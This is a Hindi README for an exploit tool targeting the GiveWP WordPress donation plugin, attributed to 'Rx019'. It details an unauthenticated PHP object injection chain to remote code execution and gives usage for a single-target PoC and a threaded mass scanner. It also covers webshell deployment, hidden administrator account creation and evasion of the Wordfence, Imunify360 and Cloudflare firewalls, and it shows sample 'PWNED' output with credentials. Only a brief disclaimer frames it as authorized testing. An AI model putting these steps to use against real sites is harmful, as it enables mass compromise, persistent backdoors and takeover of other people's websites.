
GiveWP <= 4.16.7.1 बिना प्रमाणीकरण PHP ऑब्जेक्ट इंजेक्शन → RCE
लेखक: Rx019
CVSS: 10.0 (क्रिटिकल)
प्रकार: बिना प्रमाणीकरण PHP ऑब्जेक्ट इंजेक्शन → रिमोट कोड निष्पादन
प्लगइन: GiveWP (give) — डोनेशन प्लगइन और फंडरेज़िंग प्लेटफ़ॉर्म
प्रभावित: <= 4.16.7.1
पैच किया गया: 4.16.8
GiveWP दाता के last_name को बिना सैनिटाइज़ेशन के PHP सत्र में संग्रहीत करता है। जब कोई दान give_last फ़ील्ड के बिना जमा किया जाता है, तो GiveWP डेटाबेस से कच्चे मान को सीधे सत्र में डिसीरियलाइज़ करता है। यह एक बिना प्रमाणीकृत हमलावर को दाता प्रोफ़ाइल एंडपॉइंट के माध्यम से last_name में एक PHP सीरियलाइज़्ड ऑब्जेक्ट इंजेक्ट करने की अनुमति देता है, फिर एक क्राफ्टेड दान जमा करके डिसीरियलाइज़ेशन ट्रिगर करता है — जिसके परिणामस्वरूप GiveWP की बंडल वेंडर लाइब्रेरीज़ में उपलब्ध पूर्व-निर्मित POP श्रृंखला के माध्यम से मनमाना कमांड निष्पादन होता है।
TCPDF::__destruct()
└─ Session::getBag() ← $attributeName द्वारा नामित विधि को कॉल करता है
└─ DonationFactory::__call()
└─ system($command) ← $command $attributeName से
प्रयुक्त वेंडर क्लासेस:
| क्लास | फ़ाइल |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. दाता के रूप में पंजीकरण करें → प्रमाणित सत्र (wp-login कुकी)
2. POST /wp-admin/profile.php
last_name = एम्बेडेड system() कमांड के साथ सीरियलाइज़्ड TCPDF श्रृंखला
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (give_last फ़ील्ड छोड़ा गया)
→ GiveWP DB से last_name पढ़ता है, कच्चा ऑब्जेक्ट सत्र में लिखता है
4. GET /?p={form_id}
→ PHP सत्र टियरडाउन TCPDF::__destruct() को ट्रिगर करता है
→ POP श्रृंखला system(command) निष्पादित करती है
5. शेल / एडमिन निर्माण की पुष्टि करें
pip install requests rich
Python >= 3.9
| फ़ाइल | विवरण |
|---|---|
CVE-2026-82222.py | एकल-लक्ष्य PoC — विस्तृत चरण-दर-चरण आउटपुट |
CVE-2026-82222-MASS.py | मास स्कैनर — थ्रेडेड बैच मोड |
python CVE-2026-82222.py
इंटरैक्टिव प्रॉम्प्ट:
लक्ष्य URL: https://victim.com
या सीधे:
python CVE-2026-82222.py https://victim.com
# फ़ाइल से बैच
python CVE-2026-82222-MASS.py -f targets.txt
# कस्टम थ्रेड संख्या
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# इनलाइन एकाधिक लक्ष्य
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# इंटरैक्टिव मेनू
python CVE-2026-82222-MASS.py
बैच फ़ाइल प्रारूप:
# # से शुरू होने वाली पंक्तियाँ अनदेखी की जाती हैं
https://target1.com
https://target2.com
target3.com # प्रोटोकॉल स्वतः https:// के रूप में जोड़ा जाता है
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ संस्करण : 4.15.0 │
│ WAF : Wordfence │
│ शेल : https://victim.com/wp-content/uploads/... │
│ विधि : shell + direct (कोई .php लेखन आवश्यक नहीं) │
│ एडमिन : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
असुरक्षित : 12 आंशिक : 3 पैच किया गया : 44 असुरक्षित नहीं : 21 त्रुटियाँ : 2 कुल : 82
परिणाम ~/Documents/CVE/CVE-2026-82222/ में सहेजे गए:
| फ़ाइल | सामग्री |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | एकल-रन परिणाम |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | पूर्ण बैच परिणाम |
success_results.txt | जोड़े गए VULN/PARTIAL पंक्तियाँ |
एक्सप्लॉइट क्रम में दो प्राथमिक मार्गों का प्रयास करता है:
wp_create_user() PHP कोड को base64 के रूप में इंजेक्ट करेंतब उपयोग किया जाता है जब मार्ग A विफल हो जाता है या एडमिन लॉगिन सत्यापित नहीं किया जा सकता।
last_name में शेल-ड्रॉप कमांड इंजेक्ट करेंgive_last के बिना दान करें)/?p={form_id}).txt फ़ाइल के लिए id | tee बीकनयदि शेल की पुष्टि हो जाती है लेकिन अभी तक कोई एडमिन मौजूद नहीं है, तो वेबशेल के ?c= पैरामीटर के माध्यम से wp_create_user() का उपयोग करके शेल के माध्यम से एक बनाएं।
| WAF | रणनीति |
|---|---|
| Imunify360 | X-Forwarded-For / X-Real-IP स्पूफ़ हेडर हटाएं |
| Wordfence | पूल से User-Agent घुमाएं |
| Cloudflare | Accept-Encoding: gzip, deflate, br सेट करें |
wp-config.php में DISALLOW_FILE_EDIT प्लगइन/थीम संपादक वेक्टर को ब्लॉक करता है — स्क्रिप्ट इसे जल्दी पहचानती है और मार्ग B पर गिर जाती हैRx{100-999}.php — प्रति रन यादृच्छिकयह टूल केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए जारी किया गया है।
केवल उन प्रणालियों के विरुद्ध उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
अनधिकृत उपयोग अवैध और अनैतिक है।